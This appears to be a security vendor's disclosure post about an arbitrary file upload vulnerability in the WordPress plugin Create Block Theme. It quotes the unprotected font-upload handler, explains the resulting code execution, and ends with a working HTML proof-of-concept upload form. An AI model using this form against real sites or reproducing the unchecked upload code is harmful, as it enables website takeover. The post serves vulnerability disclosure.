Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in Create Block Theme
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, an arbitrary file upload vulnerability being added to the plugin Create Block Theme.
We now are also running all the plugins used by our customers through that on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Arbitrary File Upload
The new version of the plugin introduced the ability to “Embed Google fonts and local font files in theme”. Unfortunately, that was done without basic security implemented. The code that handles the local font files is registered to run during “admin_init”, which makes it accessible to even those not logged in to WordPress:
8 | add_action( 'admin_init', [ $this, 'save_local_fonts_to_theme' ] ); |
That code doesn’t put in place any restrictions on who can access it, doesn’t check for a valid nonce to prevent cross-site request forgery (CSRF), and doesn’t use WordPress’ own file upload functionality (or another method) to restrict what types of files can be uploaded:
156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 | function save_local_fonts_to_theme () { if ( ! empty( $_FILES['font-file'] ) && ! empty( $_POST['font-name'] ) && ! empty( $_POST['font-style'] ) && ! empty( $_POST['font-weight'] ) ) { if (is_uploaded_file($_FILES['font-file']['tmp_name'])) { $font_slug = sanitize_title( $_POST['font-name'] ); $file_extension = pathinfo( $_FILES['font-file']['name'], PATHINFO_EXTENSION ); $file_name = $font_slug . '_' . $_POST['font-style'] . '_' . $_POST['font-weight'] . '.' . $file_extension; if( ! $this->can_read_and_write_font_assets_directory() ) { return add_action( 'admin_notices', [ $this, 'admin_notice_embed_font_permission_error' ] ); } move_uploaded_file( $_FILES['font-file']['tmp_name'], get_stylesheet_directory() . '/assets/fonts/' . $file_name ); |
So an attacker can upload arbitrary files to the website, and by uploading PHP files, run arbitrary code on the website, allowing them to do almost anything they want.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions of installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will upload the file sent with the request to the currently used theme’s /assets/fonts/ directory.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" enctype="multipart/form-data" method="POST"> <input type="hidden" name="font-name" value="test" /> <input type="hidden" name="font-style" value="test" /> <input type="hidden" name="font-weight" value="test" /> <input type="file" name="font-file" /> <input type="submit" name="img" value="Submit" /> </form> </body>